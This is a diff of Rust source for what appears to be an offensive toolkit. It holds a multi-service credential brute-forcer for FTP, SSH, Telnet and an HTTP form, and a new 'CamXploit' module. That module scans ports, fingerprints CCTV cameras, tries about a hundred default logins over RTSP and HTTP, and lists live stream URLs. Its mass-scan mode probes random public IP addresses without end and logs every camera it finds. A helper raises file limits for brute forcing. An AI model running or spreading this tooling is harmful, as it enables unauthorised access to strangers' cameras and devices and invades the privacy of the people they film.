return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
println!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
println!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
println!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
@@ -156,29 +177,42 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
("btnSubmit", "Login"),
];
// Manual form construction
let mut body = String::new();
for (key, val) in &data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, urlencoding::encode(val)));
}
let res = client
.post(&url)
.form(&data)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
let body = match res.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
println!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let creds = vec![
("admin", "12345"),
("admin", "123456"),
@@ -210,10 +244,33 @@ pub async fn run(target: &str) -> Result<()> {
check_http_form(&http_conf),
);
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
// Print summary
if !found_credentials.is_empty() {
println!();
println!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
println!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
}
} else {
println!();
println!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(())
}
+849
View File
@@ -0,0 +1,849 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::collections::{HashMap, HashSet};
use base64::prelude::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use tokio::time::timeout;
// =================================================================================
// CONSTANTS & DATA
// =================================================================================
const PORT_SCAN_TIMEOUT: u64 = 2;
const TIMEOUT: u64 = 5;
// Bogon/Private/Reserved exclusion ranges for mass scanning
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"198.51.100.0/24", "203.0.113.0/24", "192.0.2.0/24", // Documentation ranges
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32", // Public DNS
];
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
// are not cameras and should be skipped in mass scan mode
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
const COMMON_PORTS: &[u16] = &[
// Standard web ports
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
// RTSP ports
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
// RTMP ports
1935, 1936, 1937, 1938, 1939,
// Custom camera ports
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
// ONVIF ports
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
// VLC streaming ports
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
// Common alternative ports
110, 143, 993, 995,
1024, 1025, 1026, 1027, 1028, 1029, 1030,
2000, 2001, 2002, 2003, 2004, 2005,
3000, 3001, 3002, 3003, 3004, 3005,
4000, 4001, 4002, 4003, 4004, 4005,
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
// Additional common ports
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
// MMS ports
1755, 1756, 1757, 1758, 1759, 1760,
// High ports
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
];
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
const COMMON_PATHS: &[&str] = &[
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
];
// Default credentials
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "1234"),
("admin", "12345"),
("admin", "123456"),
("admin", "1234567"),
("admin", "12345678"),
("admin", "123456789"),
("admin", "admin123"),
("admin", "admin1234"),
("admin", "admin12345"),
("admin", "password"),
("admin", "pass"),
("admin", "123"),
("admin", "1111"),
("admin", "0000"),
("admin", "8888"),
("admin", "default"),
("admin", "admin@123"),
("admin", "Admin123"),
("admin", "Admin1234"),
("admin", "888888"),
("admin", "666666"),
("admin", "4321"),
("admin", "9999"),
("admin", ""),
("root", "root"),
("root", "toor"),
("root", "1234"),
("root", "12345"),
("root", "123456"),
("root", "pass"),
("root", "password"),
("root", "root123"),
("root", "admin"),
("root", "1111"),
("root", "0000"),
("root", ""),
("user", "user"),
("user", "user123"),
("user", "password"),
("user", "1234"),
("user", "12345"),
("user", "123456"),
("user", ""),
("guest", "guest"),
("guest", "guest123"),
("guest", "1234"),
("guest", "12345"),
("guest", "123456"),
("guest", ""),
("operator", "operator"),
("operator", "operator123"),
("operator", "1234"),
("operator", "12345"),
("administrator", "administrator"),
("administrator", "admin"),
("administrator", "1234"),
("administrator", "12345"),
("administrator", "123456"),
("administrator", "password"),
("supervisor", "supervisor"),
("supervisor", "1234"),
("supervisor", "12345"),
("supervisor", "123456"),
("supervisor", "password"),
("support", "support"),
("support", "support123"),
("support", "1234"),
("support", "password"),
("system", "system"),
("system", "system123"),
("system", "1234"),
("system", "12345"),
("system", "123456"),
("viewer", "viewer"),
("viewer", "viewer123"),
("viewer", "1234"),
("viewer", "12345"),
("admin1", "admin"),
("admin1", "admin1"),
("admin1", "1234"),
("admin1", "12345"),
("admin1", "123456"),
("admin1", "password"),
("888888", "888888"),
("888888", "123456"),
("888888", "000000"),
("666666", "666666"),
("666666", "123456"),
("666666", "000000"),
("", "admin"),
("", "12345"),
("", "123456"),
];
pub async fn run(target: &str) -> Result<()> {
let target = target.trim().to_string();
print_banner();
if target == "0.0.0.0" || target == "0.0.0.0/0" {
return run_mass_scan().await;
}
println!("{}", format!("[*] Target: {}", target).cyan());
// 1. Port Scan
println!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
let (open_ports, rtsp_ports) = check_ports(&target).await;
if open_ports.is_empty() {
println!("{}", "[-] No open camera ports found.".red());
println!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
return Ok(());
}
println!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
// 2. Camera Detection & Fingerprinting
let client = create_client()?;
let is_camera = check_if_camera(&target, &open_ports, &client).await;
if !is_camera {
println!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
println!("{}", "[*] Proceeding with additional checks...".cyan());
}
check_login_pages(&target, &open_ports, &client).await;
fingerprint_camera(&target, &open_ports, &client).await;
// 3. Credential Testing
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
// 4. Stream Detection
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
// 5. Additional Information
println!("{}", "\n[✅] Scan Completed!".green().bold());
Ok(())
}
fn print_banner() {
println!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold());
println!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold());
println!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold());
println!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
}
fn create_client() -> Result<Client> {
Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT))
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
.build()
.map_err(|e| anyhow::anyhow!(e))
}
fn get_protocol(port: u16) -> &'static str {
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
}
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
let mut map = HashMap::new();
// Web ports
map.insert(80, ("HTTP", " - Standard Web"));
map.insert(443, ("HTTPS", " - Secure Web"));
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
map.insert(8000, ("HTTP-Alt", ""));
// RTSP ports
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
// RTMP ports
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
// Custom camera ports
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
// ONVIF
map.insert(3702, ("ONVIF", " - Camera Discovery"));
map
}
// =================================================================================
// PORT SCANNING
// =================================================================================
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
let mut open_ports = Vec::new();
let mut rtsp_ports = Vec::new();
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
let mut tasks = Vec::new();
let target_arc = Arc::new(target.to_string());
// Deduplicate ports
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
let port_map = get_port_service_map();
for port in unique_ports {
let t = target_arc.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return None,
};
let addr = format!("{}:{}", t, port);
// Basic TCP Connect
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
// If open, probe for RTSP
let is_rtsp = probe_rtsp(&t, port).await;
return Some((port, is_rtsp));
}
None
}));
}
for task in tasks {
if let Ok(Some((port, is_rtsp))) = task.await {
open_ports.push(port);
if is_rtsp {
rtsp_ports.push(port);
}
// Logging
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
println!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
}
}
open_ports.sort();
rtsp_ports.sort();
(open_ports, rtsp_ports)
}
async fn probe_rtsp(target: &str, port: u16) -> bool {
// Sends a minimal RTSP OPTIONS request
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
target, port
);
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
return true;
}
}
}
}
false
}
// =================================================================================
// FINGERPRINTING
// =================================================================================
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
println!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
let found = Arc::new(Mutex::new(false));
let mut tasks = Vec::new();
for &port in open_ports {
let t = target.to_string();
let c = client.clone();
let f = found.clone();
tasks.push(tokio::spawn(async move {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, t, port);
if let Ok(resp) = c.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let status = resp.status();
let body = resp.text().await.unwrap_or_default().to_lowercase();
let mut indicators = false;
// Server header indicators
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
headers.contains("ipcam") || headers.contains("webcam") {
println!(" ✅ Camera Server Header detected on port {}", port);
indicators = true;
}
// Body indicators
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
println!(" ✅ CP Plus indicator on port {}", port);
indicators = true;
}
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
body.contains("ipcam") || body.contains("netcam") {
println!(" ✅ Camera keyword in body on port {}", port);
indicators = true;
}
// Auth requirement check
if status == reqwest::StatusCode::UNAUTHORIZED {
println!(" ✅ Authentication required on port {} (potential camera)", port);
indicators = true;
}
if indicators {
let mut lock = f.lock().await;
*lock = true;
}
}
}));
}
for task in tasks {
let _ = task.await;
}
let result = *found.lock().await;
result
}
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
println!("{}", "\n[🔍] Checking for authentication pages...".cyan());
let mut found_count = 0;
for &port in open_ports {
let protocol = get_protocol(port);
for path in COMMON_PATHS {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
status == reqwest::StatusCode::FORBIDDEN {
println!(" ✅ Found: {} (Status: {})", url, status);
found_count += 1;
}
}
}
}
if found_count == 0 {
println!(" {} No common login pages found", "[-]".yellow());
}
}
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
println!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
let mut found_brand = false;
for &port in open_ports {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
if let Ok(resp) = client.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let body = resp.text().await.unwrap_or_default().to_lowercase();
if headers.contains("hikvision") || body.contains("hikvision") {
println!("🔥 {} on port {}!", "Hikvision Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if headers.contains("dahua") || body.contains("dahua") {
println!("🔥 {} on port {}!", "Dahua Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if headers.contains("axis") || body.contains("axis") {
println!("🔥 {} on port {}!", "Axis Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("cp plus") || body.contains("cpplus") {
println!("🔥 {} on port {}!", "CP Plus Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("foscam") || headers.contains("foscam") {
println!("🔥 {} on port {}!", "Foscam Camera Detected".bright_red().bold(), port);
found_brand = true;
} else if body.contains("vivotek") || headers.contains("vivotek") {
println!("🔥 {} on port {}!", "Vivotek Camera Detected".bright_red().bold(), port);
found_brand = true;
}
}
}
if !found_brand {
println!(" {} Could not identify specific camera brand", "[-]".yellow());
}
}
// =================================================================================
// CREDENTIALS
// =================================================================================
async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
println!("{}", "\n[🔑] Testing common credentials...".cyan());
println!("{}", "[️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
let all_creds_vec = get_default_credentials();
let all_creds = all_creds_vec.as_slice();
let mut priority_creds = Vec::new();
// Top priority credentials
priority_creds.push(("admin", "admin"));
priority_creds.push(("admin", "12345"));
priority_creds.push(("admin", "123456"));
priority_creds.push(("admin", ""));
priority_creds.push(("root", "root"));
priority_creds.push(("root", "12345"));
priority_creds.push(("", "admin"));
// Test RTSP ports first
if !rtsp_ports.is_empty() {
println!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
for &port in rtsp_ports {
for &(user, pass) in &priority_creds {
if test_rtsp_auth(target, port, user, pass).await {
println!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
target,
port
);
}
}
}
}
// Test HTTP/HTTPS ports
println!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
for &port in open_ports {
if rtsp_ports.contains(&port) {
continue; // Already tested
}
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
// First check if auth is required
if let Ok(resp) = client.get(&url).send().await {
if resp.status() == reqwest::StatusCode::UNAUTHORIZED {
// Try credentials
// First try priority creds
let mut tested = HashSet::new();
for &(user, pass) in &priority_creds {
tested.insert((user, pass));
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
if resp.status().is_success() {
println!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
}
}
}
// Then try remaining creds from the full list
for &(user, pass) in all_creds {
if tested.contains(&(user, pass)) { continue; }
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await {
if resp.status().is_success() {
println!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
}
}
}
}
}
}
}
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
target, port, auth_str
);
if stream.write_all(request.as_bytes()).await.is_ok() {
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0 200 OK") {
return true;
}
}
}
}
false
}
// =================================================================================
// STREAM DETECTION
// =================================================================================
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client) {
println!("{}", "\n[🎥] Detecting Live Streams...".cyan());
// Show RTSP links
if !rtsp_ports.is_empty() {
println!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
let common_paths = [
"/",
"/live.sdp",
"/h264.sdp",
"/stream1",
"/Streaming/Channels/1",
"/Streaming/Channels/101",
"/cam/realmonitor",
"/live/ch00_0",
"/livestream",
"/axis-media/media.amp"
];
for &port in rtsp_ports {
for path in common_paths {
println!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
}
}
println!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
}
// Check HTTP streams on open ports
println!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
let stream_paths = [
"/video",
"/stream",
"/live",
"/mjpg/video.mjpg",
"/snapshot.jpg",
"/videostream.cgi",
"/video.cgi",
"/image.jpg",
"/cgi-bin/mjpeg",
"/axis-cgi/mjpg/video.cgi"
];
let mut found_streams = false;
for &port in open_ports {
let protocol = get_protocol(port);
for path in stream_paths {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
// Use head first
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
let ct = resp.headers().get("content-type")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
println!(" ✅ Potential Stream: {} (Type: {})", url, ct);
found_streams = true;
} else if status == reqwest::StatusCode::UNAUTHORIZED {
println!(" ⚠️ Protected Stream: {} (Auth Required)", url);
found_streams = true;
}
}
}
}
}
if !found_streams && rtsp_ports.is_empty() {
println!(" {} No live streams detected", "[-]".yellow());
}
}
// =================================================================================
// HELPER FUNCTIONS
// =================================================================================
fn get_default_credentials() -> Vec<(&'static str, &'static str)> {
DEFAULT_CREDENTIALS.to_vec()
}
// =================================================================================
// MASS SCAN FUNCTIONS
// =================================================================================
/// Build parsed exclusion list from EXCLUDED_RANGES
fn build_exclusion_list() -> Vec<ipnetwork::IpNetwork> {
EXCLUDED_RANGES.iter()
.filter_map(|cidr| cidr.parse::<ipnetwork::IpNetwork>().ok())
.collect()
}
/// Generate a random public IP, excluding reserved/bogon ranges
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> Ipv4Addr {
let mut rng = rand::rng();
loop {
let ip = Ipv4Addr::from(rng.random::<u32>());
let ip_addr = IpAddr::V4(ip);
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
return ip;
}
}
}
/// Check if all open ports are in the ignored services list (SSH/Telnet/RDP)
/// Returns true if the host should be skipped (only non-camera services found)
fn is_only_ignored_services(open_ports: &[u16]) -> bool {
if open_ports.is_empty() {
return true;
}
open_ports.iter().all(|p| IGNORED_SERVICE_PORTS.contains(p))
}
async fn run_mass_scan() -> Result<()> {
println!("{}", "=== MASS SCAN MODE ACTIVATED ===".red().bold().blink());
println!("{}", "WARNING: This will scan random IP addresses indefinitely.".yellow());
println!("{}", "[*] Excluded ranges: bogons, private, reserved, documentation, public DNS".cyan());
println!("{}", "[*] Service filter: hosts with only SSH/Telnet/RDP will be skipped".cyan());
println!();
// Build exclusion list
let exclusions = build_exclusion_list();
println!("{}", format!("[+] Loaded {} IP exclusion ranges", exclusions.len()).green());
// Prompt for thread count
let thread_count = crate::utils::prompt_int("Threads", 200)? as usize;
// Prompt for output file
let output_file = crate::utils::prompt_default(
"Output file for discovered cameras",
"camxploit_results.txt",
)?;
println!("{}", format!(
"[*] Starting mass scan with {} threads... Press Ctrl+C to stop.",
thread_count
).cyan());
println!();
let exclusions = Arc::new(exclusions);
let scanned_count = Arc::new(AtomicU64::new(0));
let found_count = Arc::new(AtomicU64::new(0));
let skipped_service_count = Arc::new(AtomicU64::new(0));
let semaphore = Arc::new(Semaphore::new(thread_count));
let output_file = Arc::new(output_file);
// Progress reporter task (time-based, every 10 seconds)
{
let scanned = scanned_count.clone();
let found = found_count.clone();
let skipped = skipped_service_count.clone();
let start_time = Instant::now();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(10)).await;
let total = scanned.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs().max(1);
let rate = total / elapsed;
println!(
"[*] Progress: {} scanned | {} cameras found | {} skipped (non-camera) | {} IPs/sec",
total,
found.load(Ordering::Relaxed),
skipped.load(Ordering::Relaxed),
rate
);
}
});
}
// Infinite parallel scan loop
loop {
let permit = semaphore.clone().acquire_owned().await
.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let scanned = scanned_count.clone();
let found = found_count.clone();
let skipped = skipped_service_count.clone();
let outfile = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let target = ip.to_string();
// Parallel port scan
let (open_ports, rtsp_ports) = check_ports(&target).await;
scanned.fetch_add(1, Ordering::Relaxed);
if open_ports.is_empty() {
drop(permit);
return;
}
// Service filter: skip if only SSH/Telnet/RDP are open
if is_only_ignored_services(&open_ports) {
skipped.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
println!(
"{}",
format!(
"\n[+] Target: {} - {} open ports (camera-relevant): {:?}",
target,
open_ports.len(),
open_ports
)
.green()
.bold()
);
let client = match create_client() {
Ok(c) => c,
Err(e) => {
eprintln!("Failed to create client: {}", e);
drop(permit);
return;
}
};
// Camera detection & fingerprinting
let is_camera = check_if_camera(&target, &open_ports, &client).await;
check_login_pages(&target, &open_ports, &client).await;
fingerprint_camera(&target, &open_ports, &client).await;
// Credential testing
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
// Stream detection
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
// Record discovered camera
if is_camera || !rtsp_ports.is_empty() {
found.fetch_add(1, Ordering::Relaxed);
// Save to output file
if let Ok(mut file) = std::fs::OpenOptions::new()
.create(true)
.append(true)
.open(outfile.as_str())
{
use std::io::Write;
let _ = writeln!(
file,
"CAMERA: {} | ports: {:?} | rtsp: {:?}",
target, open_ports, rtsp_ports
);
}
}
drop(permit);
});
}
}
+1
View File
@@ -0,0 +1 @@
pub mod camxploit;
+129 -30
View File
@@ -1,41 +1,140 @@
use anyhow::{Result, anyhow};
use std::process::Command;
use colored::*;
use libc::{rlimit, setrlimit, getrlimit, RLIMIT_NOFILE};
const TARGET_FILE_LIMIT: u64 = 65535;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ System Ulimit Configuration Utility ║".cyan());
println!("{}", "║ Raises file descriptor limits for brute forcing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Module entry point for raising ulimit
pub async fn run(_target: &str) -> Result<()> {
pub async fn run(target: &str) -> Result<()> {
// Target parameter is part of standard module interface
// For ulimit operations, target is informational only
if !target.is_empty() {
println!("{}", format!("[*] Target context: {}", target).dimmed());
}
raise_ulimit().await
}
/// Raise ulimit to 65535
async fn raise_ulimit() -> Result<()> {
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
// Try to set limit using bash
let output = Command::new("bash")
.arg("-c")
.arg("ulimit -n 65535")
.output()
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
if !output.status.success() {
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
} else {
println!("[+] Successfully ran ulimit -n 65535.");
/// Get current resource limits
fn get_current_limits() -> Result<(u64, u64)> {
let mut rlim = rlimit {
rlim_cur: 0,
rlim_max: 0,
};
let result = unsafe { getrlimit(RLIMIT_NOFILE, &mut rlim) };
if result != 0 {
return Err(anyhow!("Failed to get current limits: {}", std::io::Error::last_os_error()));
}
Ok((rlim.rlim_cur, rlim.rlim_max))
}
// Check current limit
let check_output = Command::new("bash")
.arg("-c")
.arg("ulimit -n")
.output()
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
if check_output.status.success() {
let limit = String::from_utf8_lossy(&check_output.stdout);
println!("[+] Current open file limit: {}", limit.trim());
} else {
println!("[-] Warning: Could not verify new ulimit.");
/// Set resource limits directly in the current process
fn set_file_limit(soft: u64, hard: u64) -> Result<()> {
let rlim = rlimit {
rlim_cur: soft,
rlim_max: hard,
};
let result = unsafe { setrlimit(RLIMIT_NOFILE, &rlim) };
if result != 0 {
return Err(anyhow!("Failed to set limits: {}", std::io::Error::last_os_error()));
}
Ok(())
}
/// Raise ulimit to 65535 using setrlimit syscall (actually works for current process)
async fn raise_ulimit() -> Result<()> {
display_banner();
// Get current limits
let (current_soft, current_hard) = match get_current_limits() {
Ok(limits) => limits,
Err(e) => {
println!("{}", format!("[-] Failed to get current limits: {}", e).red());
(0, 0)
}
};
println!("{}", format!("[*] Current limits - Soft: {}, Hard: {}", current_soft, current_hard).cyan());
if current_soft >= TARGET_FILE_LIMIT {
println!("{}", format!("[+] Open file limit already at {} or higher.", current_soft).green().bold());
return Ok(());
}
println!("{}", format!("[*] Attempting to raise open file limit to {}", TARGET_FILE_LIMIT).cyan());
// Determine the target limits
let target_hard = if current_hard >= TARGET_FILE_LIMIT {
current_hard
} else {
TARGET_FILE_LIMIT
};
let target_soft = TARGET_FILE_LIMIT.min(target_hard);
// Try to set the limit using setrlimit syscall (works for current process)
match set_file_limit(target_soft, target_hard) {
Ok(()) => {
println!("{}", format!("[+] Successfully set file limit to {}", target_soft).green().bold());
}
Err(e) => {
// If we can't raise hard limit, try just raising soft to current hard
println!("{}", format!("[-] Could not set to {}: {}", TARGET_FILE_LIMIT, e).yellow());
if current_hard > current_soft {
println!("{}", format!("[*] Trying to raise soft limit to hard limit ({})...", current_hard).cyan());
